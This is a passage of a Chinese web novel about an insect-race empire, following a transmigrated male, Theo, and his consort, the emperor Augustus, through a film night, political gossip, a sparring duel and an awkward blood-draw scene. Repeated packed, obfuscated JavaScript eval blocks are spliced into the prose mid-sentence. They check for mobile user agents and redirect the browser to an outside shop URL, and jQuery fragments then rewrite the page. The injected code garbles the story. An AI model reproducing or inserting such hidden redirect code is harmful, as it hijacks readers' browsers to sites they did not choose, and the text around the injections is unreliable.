雌虫总是严肃又严谨,话不多,但只要说出来,就每个字都掷地有声的样子,像是生怕说错,坏了他作为虫皇的威严。于是西奥便故意抛出些奇怪的问题,诸如宫殿的房顶为何是尖的不是圆的,之类的,看着他意外,然后思索,再认真回答。 灯光下,雌虫高挺的鼻梁打下一小片阴影,饱满的唇一张一合,声音低沉磁性,平稳沉着。用着开军部会议的态度和姿势,说着些细碎又无用的废话。 西奥只是在一旁看着,便觉得平日里高大威严的虫皇,此刻只剩一百分的可爱。 西奥还问,“我跟之前的我,有什么区别吗?” 对此,奥古斯特也认真答了,“好像……年轻活泼了些。” 西奥不知道原主究竟是什么样的雄虫,但的确生出了几分好奇,以及不可细想的嫉妒。 想来,应该是个才华横溢、温柔负责的雄虫吧。 好在,嫉妒总是待不了多久。如果上辈子的生活教会了西奥什么道理,那就是永远不要沉迷于过去,更不要恐惧未来,只要着眼于当下。 而当下,他就是那个才华横溢、温柔负责、又年轻活泼的雄虫! 不过夜晚的时间很长,他们也不会一直聊天。有时候奥古斯特会拿光屏处理文件,西奥便在旁边自己看手环,偶尔也会凑过去看上两眼。 也因此,大概了解了当今局势。 比如,现在的虫族帝国,共有四大军团,军团长的军衔都是上将。而皇家护卫队则是这之外的私军。奥古斯特其实也是有军衔的,是元帅,理论上可以统率四大军团。 但实际上,每个军团都有各自效忠的家族。比如第一军团是莫德家族,第二军团则是爱德蒙家族。第三军团好像是叫特纳。总之,真要论起来,确定是奥古斯特这边的力量,其实只有第一军团。 他之所以成为虫皇,也不是因为绝对的实力压制,而是因为刚好处在一个可以制衡的位置。 好复杂的军事和政治啊……西奥看一眼就头疼。 不如看点开心的。 于是在他提议之下,两个虫也一起看了电影。 三楼就有家庭影院。电影是奥古斯特选的,名字是《伊厄森号》,好像是个历史灾难片。具体内容西奥记不清了,因为大部分时间里,他都忍不住侧头,看着阴影中被屏幕映得明明灭灭的雌虫脸庞。 奥古斯特倒是看得很认真。而且在柔软的豆袋沙发里面,坐得依旧端正严正,跟旁边歪成小虾米的西奥完全不一样。 但在结尾的时候,奥古斯特还是看了过来,然后冷不丁对上了西奥的视线。 雄虫正单手撑着下巴,慵懒又温柔地看着他。 屏幕上,电影正播到结尾处,庞大的伊厄森号星舰正在坠入巨型的火海,连同整颗星球一起陷入最后的毁灭。爆炸的火焰映得雄虫金眸闪烁,像是回到了很多年前,那个温暖又旖旎的夜晚…… 篝火跃动。身影交.缠。 奥古斯特喉结轻轻滑动,吞咽下所有不合时宜的想法。 “不好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823911|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?”他问。 “好看的。”他答,身子歪过去,距离更近了点,又说了句:“好看得要命……” 声音懒懒的,尾音上扬,拉出一道柔软的弧线。 爆炸声在此刻戛然而止。屏幕熄灭,光线昏暗。小小的影院里突然变得异常寂静,静到可以听到彼此的呼吸,甚至心跳。 嗵嗵!嗵嗵! 昏暗的光线中,西奥仍然能够捕捉到那双摄人心魄的蓝色,它们变成了大海一样幽深。他身体前倾,伸手环住了奥古斯特的脖子,一点点靠近…… 就在两张侧脸的剪影即将重叠的瞬间,“滴滴!!”一道突如其来的噪音打破了难得的安静。 奥古斯特迅速后撤,摁了一下发出警报音的手环。 “怎么了?”西奥问。 “军部出了点事。”奥古斯特答。 原本还在可惜就差那么一点点的西奥顿时警觉,“严重吗?” “我需要离开一下。抱歉。”奥古斯特没有正面回答,只匆匆起身。在他离开家庭影院的时候,身后飘来一句关切的:“注意安全啊!” 奥古斯特脚步一顿,闭了闭眼睛。有那么一瞬间,他想不顾一切回到西奥身边,继续那个未完成的吻。 但到底,理智占据上风。 奥古斯特离开后,空旷昏暗的影院便只剩了西奥一虫。他叹息一声,躺倒在柔软的沙发上,摸了摸自己的唇,想象着可能的触感。然后又怀着隐隐的担忧,躺着躺着,很快睡着了。 另一边,离开霍尔德宫殿的奥古斯特没有去军部,而是直接去了医院。 一进门,穿着防护服的克利夫就对他进行了一次全面的消杀。 消杀的喷雾有些刺鼻,奥古斯特眯了眯眼睛,“我没有碰到他。” “您就不该靠近他!”一面玻璃墙之隔,诺亚用手环进行通话。 奥古斯特站着房间中央,无声地直视着玻璃对面的诺亚。 压力之下,诺亚低下头,“但我没说错,您应该更谨慎些。” 检查结果一切正常,奥古斯特离开了那个密闭房间。“他没问题,我的感觉不会错。” “他有没有问题,不是您的感觉能决定的。”诺亚说。 “吉尔出具了三份不同时间的报告。他给出的专业建议是没有任何问题。”奥古斯特说。 “但他失去了精神力!” 奥古斯特沉默了。 “雄虫感染潜伏期长,症状不明显,病例过少所以不具备普遍指征,建议拉长观察窗口期至三个月以上。”诺亚继续说,“这是另一位顶级精神力研究专家给出的建议。” “他还给出了另一份诊断结果,一份跟吉尔不一样的结果。” “他说,他已经被感染了。” “迄今为止,这位专家从未出过错。” “陛下,不管您怎么想,宫殿里那位,我不知道是什么的东西,不是西奥阁下!” “至少,绝不是我们的西奥。” 11. 第11章 八卦 之后,西奥再没找到机会继续那个被打断的吻。 因为奥古斯特突然变得很忙。先是缺席了两次晚餐,接着原本的夜晚相处也取消了。每日固定的例行活动,最后只剩下了精神力训练。还是毫无进展那种。 西奥都有点担心军部是不是出了什么大事。但奥古斯特说只是临近年度述职会议,所以比较忙而已。 不仅奥古斯特,诺亚也是,整天见不到虫。于是日常陪在他身边的军雌,很多时候就成了—— “克利夫?”西奥也没想到接手自己安保工作的居然也是个熟虫,“你不是护士吗?” “我有相关的资质认证。”克利夫中将面不改色,“但本职是隶属于皇家护卫队的军医,是诺亚上将的副官。” 克利夫语气硬邦邦答道。虽然是诺亚的副官,但他跟诺亚性格完全不同,一点儿也不活泼开朗。 西奥眯了眯眼睛,他还没忘回家的飞船上,克利夫没说完的话,“你之前说,奥古斯特为了我都怎么了?” 克利夫皱眉,“陛下为您动了灰铁建筑群,这不合规矩。” 就是那个特别高级的特别偏僻的医院。但这是奥古斯特做的,西奥才不背这个锅。 “那你应该找奥古斯特,为什么要指责我?”西奥慢条斯理,理直气壮,“就因为我失了记忆,好欺负吗?” 克利夫愣住了,两条粗长的眉毛拧在一起,很明显进入了思考状态。 几秒后,思考结束,眉毛松开。克利夫郑重地鞠躬道歉:“抱歉,是我的问题。这件事情的确怪不得您。” “我只是很担心。现在局势不稳定,而且公爵最近一直在找各种借口攻击陛下……”克利夫叹气,“我担心陛下一直我行我素,会出问题。” 西奥再次眯了眯眼,问:“公爵,是哪位呀?” 奥古斯特最近的忙碌显然事出有因。但雌君不说,总还可以从其他地方打听到,比如,这位一看就很耿直的克利夫中将。 不到半天功夫,西奥就从克利夫这里把现在微妙的局势了解个七七八八。这位卡利尼琴科·爱德蒙公爵,是内阁议会的雄虫成员,手里实质掌握了第二军团的控制权。具体来说,第二军团长弗拉基米尔·爱德蒙就是他的亲生虫崽,而且很听爸爸的话。 公爵跟奥古斯特一直有些政见不合,所以这些年来摩擦不断。不过最近一次跟奥古斯特正面起冲突,还是因为灰铁建筑的使用权。 所以,归根到底还是因为自己。说到这里,西奥倒是能理解克利夫一点了。在老实孩子心里,自己大概就是拱了奥古斯特这棵水灵灵白菜的猪。 想到这里,西奥随口多问了一句,“克利夫,你知道我和奥古斯特怎么在一起的吗?” 克利夫斩钉截铁道:“是包办婚姻!” 西奥:啥玩意?? 这都高科技虫族世界了,怎么还有包办婚姻这种封建东西? “在我追随陛下之前,你们就已经在一起了。”克利夫解释,“但是大家都这么传。” 以讹传讹吧,这是!但,西奥想象了一下指腹为婚、青梅竹马的场景,居然意外觉得还不赖。毕竟,不管是兰斯顿还是莫德,都算得上是大家族。出现这种事情,似乎也不奇怪? 说到家族,西奥突然想起来,“对了,我跟我的雄父,关系好吗?”手环上西奥还主动联系过,但是对方已读不回。便没有后话了。 “这个……”克利夫神色突然有点纠结,“你们的关系很复杂。不能用好或者不好来定义。” 要是克利夫直接说好或者不好,这事可能就这么过去了。但是一看克利夫这个纠结,西奥顿时来了兴致:“仔细说说?” “这个……”对于说上司的丈夫的父亲的八卦,克利夫似乎非常犹豫。 “你放心,我绝对不跟别虫说!” “事情要从八十年前说起,那时候的虫族还没有统一,各个星区军阀割据,于是在这当中……” 一旦打开了话匣子,又有西奥这么捧场的观众,克利夫不自觉越说越多,越说越细,越说越生动,越说越精彩。 简单总结一下,就是一个纵横星区的雌虫大盗为了怀上高质量虫蛋不惜铤而走险绑架年轻美貌S级贵族小雄虫,在成功得手之后拍拍屁股揣着虫蛋溜之大吉继续潇洒的故事。 没错,西奥就是那个被揣走的蛋。 西奥不由感叹:上一辈的父母,居然玩这么大的吗! 总之,这的确是个宏大狗血又精彩绝伦的故事。西奥听得津津有味,在几个高潮的地方,简直都要拍手叫好。 反正不是自己亲爹妈,听起来毫无心理负担。 不过,这也就能理解,为什么克利夫说他和雄父之间的关系非常复杂了。他虽然姓兰斯顿,但并不是什么被期待的婚生子,甚至连私生子都有点够不上边,勉强算是强取豪夺生子。 不管他们之间的爱恨情仇到底是真是假、是深是浅,但西奥本虫,绝对是雄父阿朵耶夫·兰斯顿最大的行走的黑历史了。 换位思考一下,如果西奥是自己的雄父,恐怕也不会喜欢这种情况下出生的孩子。 不过,“这么多细节,你怎么知道的?”西奥问。 “因为您的雌父默兹力在陛下登基后出了本自传,曾经一度位居虫族畅销书榜首。”克利夫答,“我所说的,句句属实,都有出处。” 西奥简直要笑出声,的确很像是故事里的主角会做出的事情。听了这么多父辈八卦,西奥对这位雌父的好奇程度急速攀升,“所以,我的这位雌父,现在在哪呢?” 他很清楚记得,那本族谱上根本没有雌父的名字。 克利夫面露难色,“这个……因为在帝国建立以后,默兹力仍然继续当星盗,严重违反了帝国法律。” “所以上了通缉名单。” “我们也不知道他现在在哪。如果知道了,按规定要上报缉拿。”克利夫说,“我是肯定会上报的。” 西奥没忍住,终于大笑出声。这就是虫族版本的天子的岳父犯法,与庶民同罪吗?而且克利夫一板一眼的严肃回答,简直让整件事情好笑翻倍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823912|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他已经许久没有单纯地、畅快地大笑了。 好不容易笑完,他又问:“所以,这个包办婚姻,是我的雌父,跟奥古斯特的雌父安排的?”既然是雄父不疼,雌父揣走,那就应该是雌父将他养大,然后安排了婚姻。 但克利夫突然冷下脸色,“陛下的雌父……” “陛下的家事,我不能谈论。” 怎么回事?刚才还好好的,说了一大堆家事,怎么突然不行了? 西奥敏锐察觉到,有问题。不仅如此,奥古斯特在族谱上同样没有标注雌父和雄父的任何信息,唯一关联的父辈亲属,是叔父。 奥古斯特又不是孙悟空,总不可能从石头缝里蹦出来。所以,是比当星盗上通缉令还要严重很多的问题。 西奥想过就此不管,说到底的确算是奥古斯特个虫的私事,但他实在太好奇了。于是晚饭的时候,直接问了出来,“你的雌父和雄父,怎么从来没听你说起过?” 奥古斯特闻言放下刀叉,腰背挺直,眼神似乎都暗了几分,“没什么好说的。” “你也不喜欢说虫崽的事……”西奥小声嘀咕,他后知后觉,奥古斯特似乎在亲情方面,特别不擅长表达和沟通。 除了跟自己。 “他们早死了。我也不是他们养大的,没有感情。”奥古斯特说,“至于弗雷德……” 他顿了一下,“他已经成年了。他的事情自己做主,我管不了。” 虽然语气平稳,但最后一句,西奥怎么听怎么觉得有股空巢老父亲的酸味,忍不住安慰道:“虫崽再大,在雌父雄父心里,永远是崽啊!” 不知是不是错觉,那一瞬间,西奥似乎看到了雌虫眼里隐约的水光。但一眨眼,那点光芒又消失了。依旧是冷静无波的蓝眸。 “快吃吧,饭菜要凉了。”奥古斯特说。 晚饭后,西奥还是没办法用精神力让奥古斯特跪下。虫皇匆匆离开,无法外出的夜晚顿时变得无比漫长。 西奥往床上一瘫,百无聊赖点开手环。他想起白天克利夫说的故事,心里痒痒的,忍不住搜索了起来。然后很快在雌父的自传故事之外,发现了更为广阔的天地。 在对虫族目前的文化娱乐进行了短暂但充分的探索之后,他果断选择了—— 沉迷小说。 尤其是穿越重生、系统加身、废柴逆袭的文。 包括但不限于,《重生之废物雄子的逆袭之路》,《系统觉醒后我一路升级》,《穿书成炮灰后我靠虐渣成神》,《重生后大佬雌君送我上青云》…… 被迫透过监视器一同阅读了这些“流行”文学作品的诺亚直皱眉,“西奥阁下以前也喜欢看这些吗?” 奥古斯特眼中带了隐约笑意,“他从来没承认过。” “但有时候,会引用某些小说里的台词。” 诺亚不敢苟同这种审美爱好,但也不好多说,只是提醒,“陛下,这并不能证明什么。” 这或许的确不能证明什么,但不妨碍奥古斯特下定决心。他说:“诺亚,再来打一架吧。” 12. 第12章 要做?! 奥古斯特很清楚,诺亚不是自己的对手。再打一百次,对方也不可能赢。 他有顶级的战斗天赋,来自于几十代严苛的基因筛选,又用了几十年的时间,将这种天赋训练到了极致。 他生来,便是一柄杀戮的利刃! 在站上训练场的瞬间,奥古斯特便有至少三种方法,直接夺走诺亚的性命。 但这并不是一场杀戮,更不是什么生死相搏。比起对战,这更像是一次表演,一次在场所有虫都心知肚明的表演。 他需要证明一件事情,证明—— 诺亚的实力。 在奥古斯特游刃有余防守的同时,不断进攻的诺亚已经开始气喘吁吁。热汗从他额头淌下,他已经尝试了所有的方法,无论是密集强烈的攻击,还是巧妙隐秘的偷袭,那些足以让他在战场上将敌方一击毙命的方法,此刻全都失了效。 巨量的精神力潮水一样涌出,化为利刃、长剑甚至于子弹,或快或慢、或轻或重的朝着奥古斯特袭去。训练场的边角都惨遭波及,出现了缺损裂痕,唯独中央那位对手,依旧岿然不动。 他已经使出了自己的所有,倾尽全力,甚至伸展开虫翼,借助了飞行腾空得力量,但依旧—— 毫无胜算。 奥古斯特站在原地,甚至都没抬手。细长的精神力丝线从他的指尖不断抽出,绕着周身旋转飞舞,精准挡下了每一次进攻。 利刃一次次被纤细但坚硬的精神力丝线挡下,撞出尖锐的金石之声。 最近的一次,诺亚的精神力利刃终于突破了层层丝线的防御,在他的侧脸留下了一道细长的血痕。 奥古斯特终于动了,他抬起一只手,然后猛然翻转,向下狠狠一扣! 山一样厚重的精神力猛然砸下,原本还在半空中闪转腾挪的诺亚骤然被压进地面,再也动弹不得! 他们之间的精神力等级,论起来只差了一个级别,但实力却表现得天差地别。诺亚是SS级别,是因为他只能到这个级别。奥古斯特是SSS级别,是因为精神力评定的最高等级只到这个级别。 诺亚张嘴,呛出一大口血。然后艰难抬起右手,拍了拍地面,算是认输。 精神力撤走,诺亚爬起来的时候,形容狼狈不说,地面还留下了一个人形的坑。 而通过视讯全程观看了这场战斗直播的几位帝国高层,则表情不一。 第一军团长萨迦表情最为轻松,结束的时候,甚至还鼓了掌,“诺亚上将,你都能让陛下破防了,厉害啊!” “诺亚的确很强。”奥古斯特说,侧脸上那道血痕正在肉眼可见的愈合,“但不仅仅是战力方面。” “我已经决定了,今年年底的述职会议,由诺亚负责主持。” 这话一出,在场有好几个虫都变了脸色。 其中,甚至包括诺亚。 因为以往,负责主持这项帝国最重要会议的虫,一直都是奥古斯特。 卡利尼琴科公爵冷哼一声,“陛下都决定了,我们还能说什么?”脸色相当不好,大概是回想起了三十几年前,统一战争期间,整个爱德蒙家族被奥古斯特一个虫摁着揍的场景。 公爵发话,他身后的第二军团长自然没有任何异议。 第三军团长在胸口画了个十字,“虫神在上,那我提前恭喜诺亚上将了。” 第四军团长一如既往,面无表情点了点头。 等这场临时通知的会议结束,参与的虫一个个下线离开,就连诺亚也离开训练场,整个封闭的空间内只剩下了奥古斯特和萨迦的时候,第一军团长终于开口:“你还是选了诺亚?” “怎么,你希望我选你?” “不!老天,我才不希望被选中!”萨迦笑着求饶,“但你真不考虑下另一个候选虫吗?” “弗雷德·兰斯顿。” 听到这个名字,奥古斯特眉峰轻轻跳了一下。 “论实力,他在诺亚之上。论军功,你也看到他这几年在第一军团的表现了,说是拼了命也不为过。我现在就可以撒手不管,第一军团在他手里照样所向无敌。论出身……” “他是你亲生的崽。” “确定不考虑他?” 奥古斯特沉默良久,然后说:“不。” 而另一边,在连续熬夜看完了十几本百万字的虫族大作后,西奥终于腻了。翻来覆去,都是一个套路。而且这个爱好多少有点不健康,他活动了一下有点酸痛的肩颈,决定出去走走。 但就在下楼的时候,却意外遇到了奥古斯特。 按理说这时候虫皇应该都在忙,怎么突然回来了? 他轻快地走下楼梯,想打声招呼,这才发现雌虫一侧的袖子被挽到了肘部上方,露出一整根结实有力青筋突起的小臂,然后—— 一根针头正缓慢插进肘弯内侧的血管里。 “你在干什么?!”西奥快步上前,但也不敢贸然触碰,手停在半空,视线在针管和奥古斯特脸上来回移动。 雌虫的手相当稳,即便是被突然打扰,依旧纹丝不动。针管里透明的药剂被缓慢注入,然后针头被抽出。一小滴血珠从针孔处冒处,然后迅速被棉球盖住。 西奥毫不客气地握住了被注射过药剂的小臂,想检查别的地方是不是也有类似的针孔,发现没有之后刚松口气,又很快想起雌虫逆天的自愈力,“你到底在干什么?!” 奥古斯特依旧冷静,任由雄虫握着自己手臂检查,“我在注射卡拉汀试剂。” “这是一种信息素补充剂。现在怀蛋了,所以需要补充一些。” “你很缺信息素?”西奥想起来,刚回家那天,奥古斯特就曾经对他说过,他需要信息素。但当时因为自己还在恢复期,就不了了之。后来奥古斯特没再提,他也不太好意思问。 但没想到,居然已经到需要注射药剂的地步了吗? “这对身体会不会伤害很大?” “放心吧,改良过很多次了,副作用微乎其微。” “那就是还有副作用!”西奥眉头紧皱,“为什么不告诉我呢?” “如果我能给你信息素,是不是就不用注射药物了?” “是。”奥古斯特承认,把手臂从西奥手里抽回来,扔掉棉球,“但是,你准备好了吗?” 准备好了吗?这十多天,西奥身体早就恢复了,就连少的那块头发都已经长好了。最近甚至还去了几次健身房,尝试了一些雄虫友好的器械训练,对于自己身上薄薄一层但十分清晰的腹肌非常满意。但心理上…… 他现在是西奥·兰斯顿,没有任何虫怀疑这一点。他也做好了更进一步的准备,却总归有那么一点点的介怀。 说白了,他担心奥古斯特爱的并不是他,而是原主。有时候他也觉得,自己像是个可耻的小偷,偷走了他虫的生活。 但无论如何,他不能因为自己的纠结,而影响奥古斯特的健康。说到底,这是他的责任,而并非是可有可无的选择。 西奥深吸一口气,“准备好了。” 奥古斯特观察半晌,只见雄虫目光坚定,神情坚毅,仿佛下一秒就可以慷慨就义。 “好,那就今晚。” 就这句话,让西奥一整个下午都心神不宁。他再次找出已经看过的教程,反复观摩学习。毕竟没有经验,第一次很担心搞砸。姿势不对怎么办?前.戏不够怎么办?进不去怎么办?太快了怎么办?太重了怎么办?奥古斯特不舒服怎么办? 总之,在事情发生之前,一大串担忧气泡一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823913|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕嘟咕嘟冒了出来,充斥在他的脑海。 好不容易熬到了晚饭结束,两个虫像以往那样回了卧室。 西奥站得笔直,面对着自己的雌君,突然觉得有点热。 他吞咽口水,目光死死盯着雌君领口最上方那颗扣子。应该自己解开,还是等着他自己来?不对,是不是应该自己先脱?要先脱上衣还是先脱.裤子?不对,是不是应该先接吻?应该站着还是坐着接吻?要不要伸舌头?自己应该过去吗?要先迈左脚还是先迈右脚? 左脚比较合适吧,但是右脚好像也行? 西奥绝望地发现,在提供信息素这件事情上,他是妥妥的新手、绝对的小白。就算白天看了再多的教程,学了再多的步骤,也不过临时抱佛脚,实在是顶不上用。他现在紧张地仿佛马上要进行高考却完全忘记复习内容的学生,心脏狂跳,口干舌燥,脑子里不断盘旋着:左脚还是右脚,左脚还是右脚? 然后清晰意识到:完蛋了—— 就在这时,奥古斯特主动上前一步。两虫之间的距离迅速缩短,西奥还没想好到底迈那只脚,吓得往后蹦了一下,然后左右脚不受控制得撞在了一起,身体一晃,眼看就要摔倒—— “没事吧?”奥古斯特稳稳接住了兵荒马乱的雄虫。 他离的好近。手臂正环在自己肩膀上。眼睛好蓝,又深邃,像是在其中藏了整个宇宙。那种被抱着的触感真正袭来的时候,西奥突然定了心。 这是他喜欢的虫,这是他的奥古斯特。 西奥鼓起勇气,伸手摸向雌虫领口的扣子……然后没解开。这东西,意外复杂,好像里面有个回勾的结构。 西奥又开始出汗了。“那个……这个怎么解开?” 奥古斯特抬起手,轻松单手解开了那枚系得死紧的扣子,露出了一抹军装衬衫的白。 怎么里面还有啊?! “你没事吧?”奥古斯特问,一边扶着西奥帮他站好,“身体真的没问题吗?” “没有,没有。”西奥赶紧澄清,“我就是,咳咳,有点紧张。” “毕竟,我不记得之前……所以,这对我来说,算是第一次。”越说脸越烫,忍不住垂下了视线,滑落到雌虫的腰腹。然后瞬间回忆起,他曾经,见过雌虫只穿浴巾的场景。所以这里的肌理和肤色是…… 西奥第一次意识到,自己的记忆力原来这么好! “嗯,我理解。”奥古斯特道,他的声音依旧平稳冷静,“所以,你知道怎么做吗?” “知道!”意识到自己的声音太大以后,西奥赶紧降低声音,“知道,知道的。” “我……学过。” “那就好。”奥古斯特说,“那我就不用手把手教你了?” 手把手……西奥的视线落到奥古斯特的手上,那是一双宽大有力强壮布满青筋棱角分明的手,那双手会怎么做?是握住,被液体沾湿,还是揉搓、进入,然后分开? 西奥只觉得口干舌燥,“怎么……怎么教?” “应该就是你想的那样。”奥古斯特答。 西奥抽了一口气,感觉自己快要晕过去了。 “要不,你教我一下呢?” 奥古斯特一怔,“你确定?” 西奥点了点头。 他迷迷糊糊被雌虫带到床边,坐下,然后就看到雌虫从旁边拿出了几样东西。 他定睛一看,原来是试管和针头。 奥古斯特拿来椅子,在他对面坐好,“来,把袖子撸上去,伸出手,握拳——” “对,很好。” 针头扎穿血管的刹那,一道惊雷陡然劈下,瞬间让西奥恢复了大脑清明。 卧槽! 血液,也tmd是体.液的一种啊!!! 13. 第13章 忍冬 【这个,也很正常啦!】 在手环上跟吉尔分享了昨晚的经历后,对方如此表示。 【每个雌虫都会有自己喜欢的方式。陛下可能就是,喜欢血的那一款。】 西奥仍然生无可恋,【他是吸血鬼吗?】 【吸血鬼,那是什么?】 跟你们这些不是人的说不清楚。【喜欢血的雌虫多吗?】 【不好说。但有的虫可能觉得使用血液会显得比较尊重。毕竟生殖液取得还是比较隐私的事情。】 在小h片到处乱飞的虫族里,听到“隐私”这个词,西奥都有点恍惚,【但是,我们都有虫蛋了,血液不可能让虫怀蛋吧!】 【那倒是。不过也有的雌虫会选择自己灌进去。】 西奥发了一长串问号。 【就是雄虫只负责提供生.殖液。雌虫拿到以后,自己放进身体里。】 西奥眼睛都瞪大了,【还能这样?!】 【对。网上还有很多视频教学。听说这样比较容易受孕。】 西奥如遭雷击,打字的手微微颤抖,【那,我跟奥古斯特不会也是……】 【那我可不知道!你以前从来不会分享这么隐私的事情!】 对不起,是我越界了。但西奥完全不反思,而是继续追问:【那你跟你家雌虫是怎么相处的?】吉尔没有雌君,但他好像有雌侍。 【我的雌侍都是义务匹配的。平时也不怎么联系,也就是他们发.情期到了,会寄过去几管信息素。】 【义务匹配?】那是什么? 【因为雄虫太少,所以都需要做义务匹配,帮助一定数量的雌虫。名义上会叫雌侍,但其实就是互助搭子。】 【我怎么从来没听说过?】西奥问。 【你是虫皇的雄主,谁敢让你做这种事啊?】 有道理,但是……【我在手环上也没查到相关的信息?】 对面显示正在输入中,过了好一会儿,吉尔才回复,【可能是你的手环被调成雄虫保护模式了。】 那又是啥?西奥还想追问,消息没来得及发出,对方就丢下一句,【我要工作了!】 但很快,【对了,你最近在看什么?】 西奥立刻甩过去一篇《穿回700年代靠系统发家致富》,【好看的。】 吉尔:【……】 【我是问最新的论文,双胞胎研究那篇,看了没有?】 完全没有。西奥稍微有点心虚,【要不你把论文发给我?】 吉尔无语,质问:【这些小说……什么系统穿越的,你喜欢这个?】 【我不是喜欢。】西奥说,【我信。】 他都能穿越到虫族了,出现个系统金手指什么的,也很正常。这属于有依据的合理推论。 【所以,什么是雄虫保护模式?】 很好,已读不回。估计这回是真的工作去了。 说起来,手环还是奥古斯特亲自送给他的。如果真有什么设置,应该也是他设的。 本来想直接问雌君,想到这里,西奥拐了个弯发给诺亚:【你知道手环的雄虫保护模式吗?】 对方秒回:【跟虫崽保护模式差不多,防止雄虫乱花钱的。怎么了?】 西奥顿时有点绷不住。他最近没法出门,确实网购了一些东西。但是跟乱花钱完全不沾边啊! 【陛下给你设了?】诺亚问。 西奥没理他。 诺亚发了个“哦呼”的表情包。 西奥把他的消息设置成了免打扰。 虽然如此,西奥还是查了一下自己最近的开销。除了购买小说电影的费用之外,他还买了一些没听说过的新奇东西,比如,精神力抑制器、克林宁试剂、谷谷卡卡毛绒包……什么的。因为物流太慢,都还没到呢!零零总总加起来,大概有—— 一万星币。 听起来好像有点多,但他穿来到现在,还没有真正接触过虫族的市场,不太确定这到底算多还是算少。 纠结好久,他还是在手环上直接问了奥古斯特:【我最近……花钱多吗?】 【不知道。你花了多少?】对方回复很快,大概没在忙。 【一万星币。】 【还好。没有以前多。】 西奥一愣,原主本来过的什么纸醉金迷的生活吗? 【而且,你花的都是你自己的钱。】奥古斯特补充道,【手环绑定的是你自己的账户。】 这是已经认定了自己在吃软饭的西奥没想到的。他一直默认自己花的是奥古斯特的钱!于是赶紧找地方查余额,然后发现…… 被打码了! 该死的雄虫保护模式! 于是只能继续问雌君:【我有多少钱?】 【很多。你之前主持研发过精神力相关的药剂,注册了专利。光这些每年就至少有几个亿的收入。而且,精神力研究院院长的工资也不低。】 原主是个有钱虫!既然这样,西奥终于问出了自己的问题:【那为什么要给我设置雄虫保护模式?】 消息刚发出去没几秒,视频电话就打过来了。 接通后,奥古斯特端坐在镜头中,看背后的装饰,应该是办公室。 “是你自己设的。”奥古斯特说,“应该是几年前,你有一次科研经费花了太多,好像有一千多万。” “从那之后,账号就有了限制。” 奥古斯特还是以往那副沉稳的模样,昨晚抽血过后,这是他们第一次见面。西奥还有些没准备好,但在看到对方这副表现之后,就更加确信,昨晚兵荒马乱的,只有自己一个虫。 啊啊啊,现在想起来还是好丢虫啊!! 但西奥面上不显,只是也很沉着地点了点头,“这样。” “能解除吗?”西奥问。 “可以,但得等我回家之后,用指纹解除。”奥古斯特答,“你应该不急吧?” “不急。”西奥点头,然后问,“雄虫原来都有义务匹配的吗?” “是。因为雌虫雄虫的性别比悬殊,为了确保未来的种族延续,颁布的一项政策。” 听起来好像没毛病,但西奥总觉得哪里怪怪的。“那,之前没有这项政策的时候,虫崽都是怎么来的呢?” “你听说过繁育工厂吗?” 西奥头一次从奥古斯特这里了解到了千百年来虫族繁育的残酷真相。他感觉自己的认知下限再次被虫族打破了。 “这么……残忍吗?”西奥拧着眉,无法掩饰自己的震惊和厌恶。在某些方面,这个明明拥有高科技的虫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823914|191084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族文明,却丝毫看不出应有的人性,只剩下弱肉强食的兽性本能。 与之相比,现有的义务匹配政策,就显得温和无比了。 “那我不需要进行义务匹配,是因为你吗?” “是。”奥古斯特承认,“你是我的雄主,除了为我提供信息素之外,不需要给其他虫。” 他顿了一下,然后微微低头,垂下视线,“雄主,不管怎么说……” “我也是有占有欲的。” 这天晚上,或许是因为最近骤降的气温,又或许是因为奥古斯特没有留在他房间里所有有点寂寞冷,总之,西奥做了一个梦。 梦里,他回到了冰冷的雪原之上,为了生存下去,四处奔波忙碌,从冰冷坚硬的雪块底下,挖出勉强还能食用的植物。 不过,这次他的运气比上辈子好了不少。因为至少有个山洞作为庇护,可以挡风遮雪。而在洞穴的最深处,还藏着好大一颗蛋。 在扒开层层的衣物和干草,露出那颗蛋的时候,西奥着实愣了好大一会儿。 这是……我储存的粮食吗? 但又不像。 